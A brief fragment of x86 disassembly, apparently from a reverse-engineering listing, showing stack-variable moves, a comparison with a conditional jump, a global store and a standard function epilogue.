mov esi, dword [ebp - 0x50]
cmp edx, esi
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x28], edx
jne 0x10129c7c
mov eax, dword [ebp - 0x60]
mov dword [0x101bc8c8], eax
mov dword [ebp - 0x1c], eax
jmp 0x10129b4a
mov eax, dword [ebp - 0x18]
add esp, 0x54
pop esi
pop edi
pop ebx
pop ebp
ret